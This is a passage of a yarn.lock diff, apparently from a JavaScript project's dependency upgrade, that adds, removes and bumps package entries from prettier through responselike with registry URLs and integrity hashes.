+  resolved "https://registry.yarnpkg.com/prettier/-/prettier-2.8.8.tgz#e8c5d7e98a4305ffe3de2e1fc4aca1a71c28b1da"
+  integrity sha512-tdN8qQGvNjw4CHbY+XXk0JgCXn9QiF21a55rBe5LJAU+kDyC4WQn4+awm2Xfk2lQMk5fKup9XgzTZtGkjBdP9Q==
 
 pretty-format@^29.4.1:
   version "29.4.1"
@@ -13208,22 +14277,16 @@ prettyjson@^1.2.1:
     colors "^1.1.2"
     minimist "^1.2.0"
 
-probe-image-size@5.0.0:
-  version "5.0.0"
-  resolved "https://registry.yarnpkg.com/probe-image-size/-/probe-image-size-5.0.0.tgz#1b87d20340ab8fcdb4324ec77fbc8a5f53419878"
-  integrity sha512-V6uBYw5eBc5UVIE7MUZD6Nxg0RYuGDWLDenEn0B1WC6PcTvn1xdQ6HLDDuznefsiExC6rNrCz7mFRBo0f3Xekg==
-  dependencies:
-    deepmerge "^4.0.0"
-    inherits "^2.0.3"
-    next-tick "^1.0.0"
-    request "^2.83.0"
-    stream-parser "~0.3.1"
-
 process-nextick-args@^2.0.0, process-nextick-args@~2.0.0:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/process-nextick-args/-/process-nextick-args-2.0.1.tgz#7820d9b16120cc55ca9ae7792680ae7dba6d7fe2"
   integrity sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==
 
+process-warning@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/process-warning/-/process-warning-3.0.0.tgz#96e5b88884187a1dce6f5c3166d611132058710b"
+  integrity sha512-mqn0kFRl0EoqhnL0GQ0veqFHyIN1yig9RHh/InzORTUiZHFRAur+aMtRkELNwGs9aNwKS6tg/An4NYBPGwvtzQ==
+
 process@0.11.10, process@^0.11.0, process@^0.11.10, process@~0.11.0:
   version "0.11.10"
   resolved "https://registry.yarnpkg.com/process/-/process-0.11.10.tgz#7332300e840161bda3e69a1d1d91a7d4bc16f182"
@@ -13244,6 +14307,13 @@ promise-polyfill@^8.1.3:
   resolved "https://registry.yarnpkg.com/promise-polyfill/-/promise-polyfill-8.2.0.tgz#367394726da7561457aba2133c9ceefbd6267da0"
   integrity sha512-k/TC0mIcPVF6yHhUvwAp7cvL6I2fFV7TzF1DuGPI8mBh4QQazf36xCKEHKTZKRysEoTQoQdKyP25J8MPJp7j5g==
 
+promise-toolbox@0.21.0:
+  version "0.21.0"
+  resolved "https://registry.yarnpkg.com/promise-toolbox/-/promise-toolbox-0.21.0.tgz#6919876f9dea375f01b4ddaec4206db83cb0aa55"
+  integrity sha512-NV8aTmpwrZv+Iys54sSFOBx3tuVaOBvvrft5PNppnxy9xpU/akHbaWIril22AB22zaPgrgwKdD0KsrM0ptUtpg==
+  dependencies:
+    make-error "^1.3.2"
+
 promise@^7.1.1:
   version "7.3.1"
   resolved "https://registry.yarnpkg.com/promise/-/promise-7.3.1.tgz#064b72602b18f90f29192b8b1bc418ffd1ebd3bf"
@@ -13268,15 +14338,6 @@ prop-types@^15.5.10, prop-types@^15.6.0, prop-types@^15.6.2, prop-types@^15.7.2:
     object-assign "^4.1.1"
     react-is "^16.8.1"
 
-proper-lockfile@^4.1.1:
-  version "4.1.2"
-  resolved "https://registry.yarnpkg.com/proper-lockfile/-/proper-lockfile-4.1.2.tgz#c8b9de2af6b2f1601067f98e01ac66baa223141f"
-  integrity sha512-TjNPblN4BwAWMXU8s9AEz4JmQxnD1NNL7bNOY/AKUzyamc379FWASUhc/K1pL2noVb+XmZKLL68cjzLsiOAMaA==
-  dependencies:
-    graceful-fs "^4.2.4"
-    retry "^0.12.0"
-    signal-exit "^3.0.2"
-
 proto-list@~1.2.1:
   version "1.2.4"
   resolved "https://registry.yarnpkg.com/proto-list/-/proto-list-1.2.4.tgz#212d5bfe1318306a420f6402b8e26ff39647a849"
@@ -13295,21 +14356,11 @@ proxy-addr@~2.0.7:
     forwarded "0.2.0"
     ipaddr.js "1.9.1"
 
-proxy-from-env@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/proxy-from-env/-/proxy-from-env-1.1.0.tgz#e102f16ca355424865755d2c9e8ea4f24d58c3e2"
-  integrity sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==
-
 pseudomap@^1.0.2:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/pseudomap/-/pseudomap-1.0.2.tgz#f052a28da70e618917ef0a8ac34c1ae5a68286b3"
   integrity sha1-8FKijacOYYkX7wqKw0wa5aaChrM=
 
-psl@^1.1.24:
-  version "1.3.0"
-  resolved "https://registry.yarnpkg.com/psl/-/psl-1.3.0.tgz#e1ebf6a3b5564fa8376f3da2275da76d875ca1bd"
-  integrity sha512-avHdspHO+9rQTLbv1RO+MPYeP/SzsCoxofjVnHanETfQhTJrmB0HlDoW+EiN/R+C0BZ+gERab9NY0lPN2TxNag==
-
 psl@^1.1.33:
   version "1.9.0"
   resolved "https://registry.yarnpkg.com/psl/-/psl-1.9.0.tgz#d0df2a137f00794565fcaf3b2c00cd09f8d5a5a7"
@@ -13353,7 +14404,7 @@ punycode@1.3.2:
   resolved "https://registry.yarnpkg.com/punycode/-/punycode-1.3.2.tgz#9653a036fb7c1ee42342f2325cceefea3926c48d"
   integrity sha1-llOgNvt8HuQjQvIyXM7v6jkmxI0=
 
-punycode@^1.2.4, punycode@^1.4.1:
+punycode@^1.2.4:
   version "1.4.1"
   resolved "https://registry.yarnpkg.com/punycode/-/punycode-1.4.1.tgz#c0d5a63b2718800ad8e1eb0fa5269c84dd41845e"
   integrity sha1-wNWmOycYgArY4esPpSachN1BhF4=
@@ -13375,6 +14426,20 @@ pupa@^2.0.1:
   dependencies:
     escape-goat "^2.0.0"
 
+pupa@^2.1.1:
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/pupa/-/pupa-2.1.1.tgz#f5e8fd4afc2c5d97828faa523549ed8744a20d62"
+  integrity sha512-l1jNAspIBSFqbT+y+5FosojNpVpF94nlI+wDUpqP9enwOTfHx9f0gh5nB96vl+6yTpsJsypeNrwfzPrKuHB41A==
+  dependencies:
+    escape-goat "^2.0.0"
+
+pupa@^3.1.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/pupa/-/pupa-3.1.0.tgz#f15610274376bbcc70c9a3aa8b505ea23f41c579"
+  integrity sha512-FLpr4flz5xZTSJxSeaheeMKN/EDzMdK7b8PTOC6a5PYFKTucWbdqjgqaEyH0shFiSJrVB1+Qqi4Tk19ccU6Aug==
+  dependencies:
+    escape-goat "^4.0.0"
+
 pure-rand@^6.0.0:
   version "6.1.0"
   resolved "https://registry.yarnpkg.com/pure-rand/-/pure-rand-6.1.0.tgz#d173cf23258231976ccbdb05247c9787957604f2"
@@ -13385,17 +14450,12 @@ q@^1.1.2:
   resolved "https://registry.yarnpkg.com/q/-/q-1.5.1.tgz#7e32f75b41381291d04611f1bf14109ac00651d7"
   integrity sha1-fjL3W0E4EpHQRhHxvxQQmsAGUdc=
 
-qs@6.11.0:
-  version "6.11.0"
-  resolved "https://registry.yarnpkg.com/qs/-/qs-6.11.0.tgz#fd0d963446f7a65e1367e01abd85429453f0c37a"
-  integrity sha512-MvjoMCJwEarSbUYk5O+nmoSzSutSsTwF85zcHPQ9OrlFoZOYIjaqBAJIqIXjptyD5vThxGq52Xu/MaJzRkIk4Q==
+qs@6.13.0:
+  version "6.13.0"
+  resolved "https://registry.yarnpkg.com/qs/-/qs-6.13.0.tgz#6ca3bd58439f7e245655798997787b0d88a51906"
+  integrity sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg==
   dependencies:
-    side-channel "^1.0.4"
-
-qs@~6.5.2:
-  version "6.5.2"
-  resolved "https://registry.yarnpkg.com/qs/-/qs-6.5.2.tgz#cb3ae806e8740444584ef154ce8ee98d403f3e36"
-  integrity sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==
+    side-channel "^1.0.6"
 
 query-string@^5.0.1:
   version "5.1.1"
@@ -13431,10 +14491,17 @@ querystringify@^2.1.1:
   resolved "https://registry.yarnpkg.com/querystringify/-/querystringify-2.2.0.tgz#3345941b4153cb9d082d8eee4cda2016a9aef7f6"
   integrity sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==
 
-quick-format-unescaped@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/quick-format-unescaped/-/quick-format-unescaped-4.0.1.tgz#437a5ea1a0b61deb7605f8ab6a8fd3858dbeb701"
-  integrity sha512-RyYpQ6Q5/drsJyOhrWHYMWTedvjTIat+FTwv0K4yoUxzvekw2aRHMQJLlnvt8UantkZg2++bEzD9EdxXqkWf4A==
+queue@6.0.2:
+  version "6.0.2"
+  resolved "https://registry.yarnpkg.com/queue/-/queue-6.0.2.tgz#b91525283e2315c7553d2efa18d83e76432fed65"
+  integrity sha512-iHZWu+q3IdFZFX36ro/lKBkSvfkztY5Y7HMiPlOUjhupPcG2JMfst2KKEpu5XndviX/3UhFbRngUPNKtgvtZiA==
+  dependencies:
+    inherits "~2.0.3"
+
+quick-format-unescaped@^4.0.3:
+  version "4.0.4"
+  resolved "https://registry.yarnpkg.com/quick-format-unescaped/-/quick-format-unescaped-4.0.4.tgz#93ef6dd8d3453cbc7970dd614fad4c5954d6b5a7"
+  integrity sha512-tYC1Q1hgyRuHgloV/YXs2w15unPVh8qfu/qCTfhTYamaw7fyhumKa2yGpdSo87vY32rIclj+4fWYQXUMs9EHvg==
 
 quick-lru@^5.1.1:
   version "5.1.1"
@@ -13449,6 +14516,11 @@ quick-tmp@0.0.0:
     first-match "0.0.1"
     osenv "0.0.3"
 
+quickselect@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/quickselect/-/quickselect-3.0.0.tgz#a37fc953867d56f095a20ac71c6d27063d2de603"
+  integrity sha512-XdjUArbK4Bm5fLLvlm5KpTFOiOThgfWWI4axAZDWg4E/0mKdZyI9tNEfds27qCi1ze/vwTR16kvmmGhRra3c2g==
+
 random-seed@^0.3.0:
   version "0.3.0"
   resolved "https://registry.yarnpkg.com/random-seed/-/random-seed-0.3.0.tgz#d945f2e1f38f49e8d58913431b8bf6bb937556cd"
@@ -13468,10 +14540,10 @@ range-parser@^1.2.1, range-parser@~1.2.1:
   resolved "https://registry.yarnpkg.com/range-parser/-/range-parser-1.2.1.tgz#3cf37023d199e1c24d1a55b84800c2f3e6468031"
   integrity sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==
 
-raw-body@2.5.1:
-  version "2.5.1"
-  resolved "https://registry.yarnpkg.com/raw-body/-/raw-body-2.5.1.tgz#fe1b1628b181b700215e5fd42389f98b71392857"
-  integrity sha512-qqJBtEyVgS0ZmPGdCFPWJ3FreoqvG4MVQln/kCgF7Olq95IbOp0/BWyMwbdtn4VTvkM8Y7khCQ2Xgk/tcrCXig==
+raw-body@2.5.2:
+  version "2.5.2"
+  resolved "https://registry.yarnpkg.com/raw-body/-/raw-body-2.5.2.tgz#99febd83b90e08975087e8f1f9419a149366b68a"
+  integrity sha512-8zGqypfENjCIqGhgXToC8aB2r7YrBX+AQAfIPs/Mlk+BtPTztOvTS01NRW/3Eh60J+a48lt8qsCzirQ6loCVfA==
   dependencies:
     bytes "3.1.2"
     http-errors "2.0.0"
@@ -13486,7 +14558,14 @@ raw-loader@^3.1.0:
     loader-utils "^1.1.0"
     schema-utils "^2.0.1"
 
-rc@^1.0.1, rc@^1.1.6, rc@^1.2.8:
+rbush@4.0.1:
+  version "4.0.1"
+  resolved "https://registry.yarnpkg.com/rbush/-/rbush-4.0.1.tgz#1f55afa64a978f71bf9e9a99bc14ff84f3cb0d6d"
+  integrity sha512-IP0UpfeWQujYC8Jg162rMNc01Rf0gWMMAb2Uxus/Q0qOFw4lCcq6ZnQEZwUoJqWyUGJ9th7JjwI4yIWo+uvoAQ==
+  dependencies:
+    quickselect "^3.0.0"
+
+rc@1.2.8, rc@^1.2.8:
   version "1.2.8"
   resolved "https://registry.yarnpkg.com/rc/-/rc-1.2.8.tgz#cd924bf5200a075b83c188cd6b9e211b7fc0d3ed"
   integrity sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==
@@ -13554,10 +14633,10 @@ rc@^1.0.1, rc@^1.1.6, rc@^1.2.8:
     object-assign "^4.1.1"
     scheduler "^0.20.2"
 
-react-is@^16.8.1, react-is@^17.0.1, react-is@^18.0.0, react-is@^18.2.0, "react-is@npm:react-is":
-  version "17.0.2"
-  resolved "https://registry.yarnpkg.com/react-is/-/react-is-17.0.2.tgz#e691d4a8e9c789365655539ab372762b0efb54f0"
-  integrity sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==
+react-is@^16.8.1, react-is@^18.0.0, "react-is@npm:react-is":
+  version "18.3.1"
+  resolved "https://registry.yarnpkg.com/react-is/-/react-is-18.3.1.tgz#e83557dc12eae63a99e003a46388b1dcbb44db7e"
+  integrity sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==
 
 react-lifecycles-compat@^3.0.4:
   version "3.0.4"
@@ -13678,6 +14757,17 @@ readable-stream@^3.0.1, readable-stream@^3.0.6, readable-stream@^3.1.1, readable
     string_decoder "^1.1.1"
     util-deprecate "^1.0.1"
 
+readable-stream@^4.0.0:
+  version "4.5.2"
+  resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-4.5.2.tgz#9e7fc4c45099baeed934bff6eb97ba6cf2729e09"
+  integrity sha512-yjavECdqeZ3GLXNgRXgeQEdz9fvDDkNKyHnbHRFtOr7/LcfgBcmct7t/ET+HaCTqfh06OzoAxrkN/IfjJBVe+g==
+  dependencies:
+    abort-controller "^3.0.0"
+    buffer "^6.0.3"
+    events "^3.3.0"
+    process "^0.11.10"
+    string_decoder "^1.3.0"
+
 readable-web-to-node-stream@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/readable-web-to-node-stream/-/readable-web-to-node-stream-2.0.0.tgz#751e632f466552ac0d5c440cc01470352f93c4b7"
@@ -13692,6 +14782,11 @@ readdirp@^2.2.1:
     micromatch "^3.1.10"
     readable-stream "^2.0.2"
 
+readdirp@^4.0.1:
+  version "4.1.2"
+  resolved "https://registry.yarnpkg.com/readdirp/-/readdirp-4.1.2.tgz#eb85801435fbf2a7ee58f19e0921b068fc69948d"
+  integrity sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg==
+
 readdirp@~3.6.0:
   version "3.6.0"
   resolved "https://registry.yarnpkg.com/readdirp/-/readdirp-3.6.0.tgz#74a370bd857116e245b29cc97340cd431a02a6c7"
@@ -13704,6 +14799,11 @@ readline-sync@^1.4.9:
   resolved "https://registry.yarnpkg.com/readline-sync/-/readline-sync-1.4.10.tgz#41df7fbb4b6312d673011594145705bf56d8873b"
   integrity sha512-gNva8/6UAe8QYepIQH/jQ2qn91Qj0B9sYjMBBs3QOB8F2CXcKgLxQaJRP76sWVRQt+QU+8fAkCbCvjjMFu7Ycw==
 
+real-require@^0.2.0:
+  version "0.2.0"
+  resolved "https://registry.yarnpkg.com/real-require/-/real-require-0.2.0.tgz#209632dea1810be2ae063a6ac084fee7e33fba78"
+  integrity sha512-57frrGM/OCTLqLOAh0mhVA9VBMHd+9U7Zb2THMGdBUoZVOtGbJzjxsYGDJ3A9AYYCP4hn6y1TVbaOfzWtm5GFg==
+
 rechoir@^0.6.2:
   version "0.6.2"
   resolved "https://registry.yarnpkg.com/rechoir/-/rechoir-0.6.2.tgz#85204b54dba82d5742e28c96756ef43af50e3384"
@@ -13726,6 +14826,13 @@ redent@^1.0.0:
     indent-string "^2.1.0"
     strip-indent "^1.0.1"
 
+regenerate-unicode-properties@^10.2.0:
+  version "10.2.0"
+  resolved "https://registry.yarnpkg.com/regenerate-unicode-properties/-/regenerate-unicode-properties-10.2.0.tgz#626e39df8c372338ea9b8028d1f99dc3fd9c3db0"
+  integrity sha512-DqHn3DwbmmPVzeKj9woBadqmXxLvQoQIwu7nopMc72ztvxVmVk2SBhSnx67zuye5TP+lJsb/TBQsjLKhnDf3MA==
+  dependencies:
+    regenerate "^1.4.2"
+
 regenerate-unicode-properties@^8.2.0:
   version "8.2.0"
   resolved "https://registry.yarnpkg.com/regenerate-unicode-properties/-/regenerate-unicode-properties-8.2.0.tgz#e5de7111d655e7ba60c057dbe9ff37c87e65cdec"
@@ -13738,10 +14845,10 @@ regenerate@^1.2.1, regenerate@^1.4.0:
   resolved "https://registry.yarnpkg.com/regenerate/-/regenerate-1.4.0.tgz#4a856ec4b56e4077c557589cae85e7a4c8869a11"
   integrity sha512-1G6jJVDWrt0rK99kBjvEtziZNCICAuvIPkSiUFIQxVP06RCVpq3dmDo2oi6ABpYaDYaTRr67BEhL8r1wgEZZKg==
 
-regenerator-runtime@^0.13.2:
-  version "0.13.3"
-  resolved "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.13.3.tgz#7cf6a77d8f5c6f60eb73c5fc1955b2ceb01e6bf5"
-  integrity sha512-naKIZz2GQ8JWh///G7L3X6LaQUAMp2lvb1rvwwsURe/VXwD6VMfr+/1NuNw3ag8v2kY1aQ/go5SNn79O9JU7yw==
+regenerate@^1.4.2:
+  version "1.4.2"
+  resolved "https://registry.yarnpkg.com/regenerate/-/regenerate-1.4.2.tgz#b9346d8827e8f5a32f7ba29637d398b69014848a"
+  integrity sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==
 
 regenerator-runtime@^0.13.4:
   version "0.13.5"
@@ -13770,6 +14877,13 @@ regenerator-transform@^0.14.2:
   dependencies:
     "@babel/runtime" "^7.8.4"
 
+regenerator-transform@^0.15.2:
+  version "0.15.2"
+  resolved "https://registry.yarnpkg.com/regenerator-transform/-/regenerator-transform-0.15.2.tgz#5bbae58b522098ebdf09bca2f83838929001c7a4"
+  integrity sha512-hfMp2BoF0qOk3uc5V20ALGDS2ddjQaLrdl7xrGXvAIow7qeWRM2VA2HuCHkUKk9slq3VwEwLNK3DFBqDfPGYtg==
+  dependencies:
+    "@babel/runtime" "^7.8.4"
+
 regex-not@^1.0.0, regex-not@^1.0.2:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/regex-not/-/regex-not-1.0.2.tgz#1f4ece27e00b0b65e0247a6810e6a85d83a5752c"
@@ -13778,12 +14892,7 @@ regex-not@^1.0.0, regex-not@^1.0.2:
     extend-shallow "^3.0.2"
     safe-regex "^1.1.0"
 
-regexpp@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/regexpp/-/regexpp-2.0.1.tgz#8d19d31cf632482b589049f8281f93dbcba4d07f"
-  integrity sha512-lv0M6+TkDVniA3aD1Eg0DVpfU/booSu7Eev3TDO/mZKHBfVjgCGTV4t4buppESEYDtkArYFOxTJWv6S5C+iaNw==
-
-regexpp@^3.1.0:
+regexpp@^3.0.0, regexpp@^3.1.0:
   version "3.2.0"
   resolved "https://registry.yarnpkg.com/regexpp/-/regexpp-3.2.0.tgz#0425a2768d8f23bad70ca4b90461fa2f1213e1b2"
   integrity sha512-pq2bWo9mVD43nbts2wGv17XLiNLya+GklZ8kaDLV2Z08gDCsGpnKn9BFMepvWuHCbyVvY7J5o5+BVvoQbmlJLg==
@@ -13809,13 +14918,17 @@ regexpu-core@^4.7.0:
     unicode-match-property-ecmascript "^1.0.4"
     unicode-match-property-value-ecmascript "^1.2.0"
 
-registry-auth-token@^3.0.1:
-  version "3.4.0"
-  resolved "https://registry.yarnpkg.com/registry-auth-token/-/registry-auth-token-3.4.0.tgz#d7446815433f5d5ed6431cd5dca21048f66b397e"
-  integrity sha512-4LM6Fw8eBQdwMYcES4yTnn2TqIasbXuwDx3um+QRs7S55aMKCBKBxvPXl2RiUjHwuJLTyYfxSpmfSAjQpcuP+A==
+regexpu-core@^6.2.0:
+  version "6.2.0"
+  resolved "https://registry.yarnpkg.com/regexpu-core/-/regexpu-core-6.2.0.tgz#0e5190d79e542bf294955dccabae04d3c7d53826"
+  integrity sha512-H66BPQMrv+V16t8xtmq+UC0CBpiTBA60V8ibS1QVReIp8T1z8hwFxqcGzm9K6lgsN7sB5edVH8a+ze6Fqm4weA==
   dependencies:
-    rc "^1.1.6"
-    safe-buffer "^5.0.1"
+    regenerate "^1.4.2"
+    regenerate-unicode-properties "^10.2.0"
+    regjsgen "^0.8.0"
+    regjsparser "^0.12.0"
+    unicode-match-property-ecmascript "^2.0.0"
+    unicode-match-property-value-ecmascript "^2.1.0"
 
 registry-auth-token@^4.0.0:
   version "4.0.0"
@@ -13825,12 +14938,12 @@ registry-auth-token@^4.0.0:
     rc "^1.2.8"
     safe-buffer "^5.0.1"
 
-registry-url@^3.0.3:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/registry-url/-/registry-url-3.1.0.tgz#3d4ef870f73dde1d77f0cf9a381432444e174942"
-  integrity sha1-PU74cPc93h138M+aOBQyRE4XSUI=
+registry-auth-token@^5.0.1:
+  version "5.0.2"
+  resolved "https://registry.yarnpkg.com/registry-auth-token/-/registry-auth-token-5.0.2.tgz#8b026cc507c8552ebbe06724136267e63302f756"
+  integrity sha512-o/3ikDxtXaA59BmZuZrJZDJv8NMDGSj+6j6XaeBmHw8eY1i1qd9+6H+LjVvQXx3HN6aRCGa1cUdJ9RaJZUugnQ==
   dependencies:
-    rc "^1.0.1"
+    "@pnpm/npm-conf" "^2.1.0"
 
 registry-url@^5.0.0:
   version "5.1.0"
@@ -13839,6 +14952,13 @@ registry-url@^5.0.0:
   dependencies:
     rc "^1.2.8"
 
+registry-url@^6.0.0:
+  version "6.0.1"
+  resolved "https://registry.yarnpkg.com/registry-url/-/registry-url-6.0.1.tgz#056d9343680f2f64400032b1e199faa692286c58"
+  integrity sha512-+crtS5QjFRqFCoQmvGduwYWEBng99ZvmFvF+cUJkGYF1L1BfU8C6Zp9T7f5vPAwyLkUExpvK+ANVZmGU49qi4Q==
+  dependencies:
+    rc "1.2.8"
+
 regjsgen@^0.2.0:
   version "0.2.0"
   resolved "https://registry.yarnpkg.com/regjsgen/-/regjsgen-0.2.0.tgz#6c016adeac554f75823fe37ac05b92d5a4edb1f7"
@@ -13849,6 +14969,11 @@ regjsgen@^0.5.1:
   resolved "https://registry.yarnpkg.com/regjsgen/-/regjsgen-0.5.2.tgz#92ff295fb1deecbf6ecdab2543d207e91aa33733"
   integrity sha512-OFFT3MfrH90xIW8OOSyUrk6QHD5E9JOTeGodiJeBS3J6IwlgzJMNE/1bZklWz5oTg+9dCMyEetclvCVXOPoN3A==
 
+regjsgen@^0.8.0:
+  version "0.8.0"
+  resolved "https://registry.yarnpkg.com/regjsgen/-/regjsgen-0.8.0.tgz#df23ff26e0c5b300a6470cad160a9d090c3a37ab"
+  integrity sha512-RvwtGe3d7LvWiDQXeQw8p5asZUmfU1G/l6WbUXeHta7Y2PEIvBTwH6E2EfmYUK8pxcxEdEmaomqyp0vZZ7C+3Q==
+
 regjsparser@^0.1.4:
   version "0.1.5"
   resolved "https://registry.yarnpkg.com/regjsparser/-/regjsparser-0.1.5.tgz#7ee8f84dc6fa792d3fd0ae228d24bd949ead205c"
@@ -13856,6 +14981,13 @@ regjsparser@^0.1.4:
   dependencies:
     jsesc "~0.5.0"
 
+regjsparser@^0.12.0:
+  version "0.12.0"
+  resolved "https://registry.yarnpkg.com/regjsparser/-/regjsparser-0.12.0.tgz#0e846df6c6530586429377de56e0475583b088dc"
+  integrity sha512-cnE+y8bz4NhMjISKbgeVJtqNbtf5QpjZP+Bslo+UqkIt9QPnX9q095eiRRASJG1/tz6dlNr6Z5NsBiWYokp6EQ==
+  dependencies:
+    jsesc "~3.0.2"
+
 regjsparser@^0.6.4:
   version "0.6.4"
   resolved "https://registry.yarnpkg.com/regjsparser/-/regjsparser-0.6.4.tgz#a769f8684308401a66e9b529d2436ff4d0666272"
@@ -13903,32 +15035,6 @@ replace-ext@^2.0.0:
   resolved "https://registry.yarnpkg.com/replace-ext/-/replace-ext-2.0.0.tgz#9471c213d22e1bcc26717cd6e50881d88f812b06"
   integrity sha512-UszKE5KVK6JvyD92nzMn9cDapSk6w/CaFZ96CnmDMUqH9oowfxF/ZjRITD25H4DnOQClLA4/j7jLGXXLVKxAug==
 
-request@2.88.0, request@^2.83.0, request@~2.88.0:
-  version "2.88.0"
-  resolved "https://registry.yarnpkg.com/request/-/request-2.88.0.tgz#9c2fca4f7d35b592efe57c7f0a55e81052124fef"
-  integrity sha512-NAqBSrijGLZdM0WZNsInLJpkJokL72XYjUpnB0iwsRgxh7dB6COrHnTBNwN0E+lHDAJzu7kLAkDeY08z2/A0hg==
-  dependencies:
-    aws-sign2 "~0.7.0"
-    aws4 "^1.8.0"
-    caseless "~0.12.0"
-    combined-stream "~1.0.6"
-    extend "~3.0.2"
-    forever-agent "~0.6.1"
-    form-data "~2.3.2"
-    har-validator "~5.1.0"
-    http-signature "~1.2.0"
-    is-typedarray "~1.0.0"
-    isstream "~0.1.2"
-    json-stringify-safe "~5.0.1"
-    mime-types "~2.1.19"
-    oauth-sign "~0.9.0"
-    performance-now "^2.1.0"
-    qs "~6.5.2"
-    safe-buffer "^5.1.2"
-    tough-cookie "~2.4.3"
-    tunnel-agent "^0.6.0"
-    uuid "^3.3.2"
-
 require-directory@^2.1.1:
   version "2.1.1"
   resolved "https://registry.yarnpkg.com/require-directory/-/require-directory-2.1.1.tgz#8c64ad5fd30dab1c976e2344ffe7f792a6a6df42"
@@ -13949,7 +15055,7 @@ requires-port@^1.0.0:
   resolved "https://registry.yarnpkg.com/requires-port/-/requires-port-1.0.0.tgz#925d2601d39ac485e091cf0da5c6e694dc3dcaff"
   integrity sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==
 
-resolve-alpn@^1.0.0:
+resolve-alpn@^1.0.0, resolve-alpn@^1.2.0:
   version "1.2.1"
   resolved "https://registry.yarnpkg.com/resolve-alpn/-/resolve-alpn-1.2.1.tgz#b7adbdac3546aaaec20b45e7d8265927072726f9"
   integrity sha512-0a1F4l73/ZFZOakJnQ3FvkJ2+gSTQWz/r2KE5OdDY0TxPm5h4GkqkWWfM47T7HsbnOtcJVEF4epCVy6u7Q3K+g==
@@ -13988,7 +15094,7 @@ resolve.exports@^2.0.0:
   resolved "https://registry.yarnpkg.com/resolve.exports/-/resolve.exports-2.0.2.tgz#f8c934b8e6a13f539e38b7098e2e36134f01e800"
   integrity sha512-X2UW6Nw3n/aMgDVy+0rSqgHlv39WZAlZrXCdnbyEiKm17DSqHX4MmQMaST3FbeWR5FTuRcUwYAziZajji0Y7mg==
 
-resolve@^1.1.6, resolve@^1.10.0, resolve@^1.3.2:
+resolve@^1.1.6, resolve@^1.10.0:
   version "1.14.2"
   resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.14.2.tgz#dbf31d0fa98b1f29aa5169783b9c290cb865fea2"
   integrity sha512-EjlOBLBO1kxsUxsKjLt7TAECyKW6fOh1VRkykQkKGzcBbjjPIxBqGh0jf7GJ3k/f5mxMqW3htMD3WdTUVtW8HQ==
@@ -14004,6 +15110,15 @@ resolve@^1.12.0, resolve@^1.20.0:
     path-parse "^1.0.7"
     supports-preserve-symlinks-flag "^1.0.0"
 
+resolve@^1.14.2:
+  version "1.22.10"
+  resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.22.10.tgz#b663e83ffb09bbf2386944736baae803029b8b39"
+  integrity sha512-NPRy+/ncIMeDlTAsuqwKIiferiawhefFJtkNSW0qZJEqMEb+qBt/77B/jGeeek+F0uOeN05CDa6HXbbIgtVX4w==
+  dependencies:
+    is-core-module "^2.16.0"
+    path-parse "^1.0.7"
+    supports-preserve-symlinks-flag "^1.0.0"
+
 resolve@^1.22.1:
   version "1.22.1"
   resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.22.1.tgz#27cb2ebb53f91abb49470a928bba7558066ac177"
@@ -14027,20 +15142,19 @@ responselike@^2.0.0:
   dependencies:
     lowercase-keys "^2.0.0"
 
-restore-cursor@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/restore-cursor/-/restore-cursor-3.1.0.tgz#39f67c54b3a7a58cea5236d95cf0034239631f7e"
-  integrity sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==
+responselike@^3.0.0:
+  version "3.0.0"
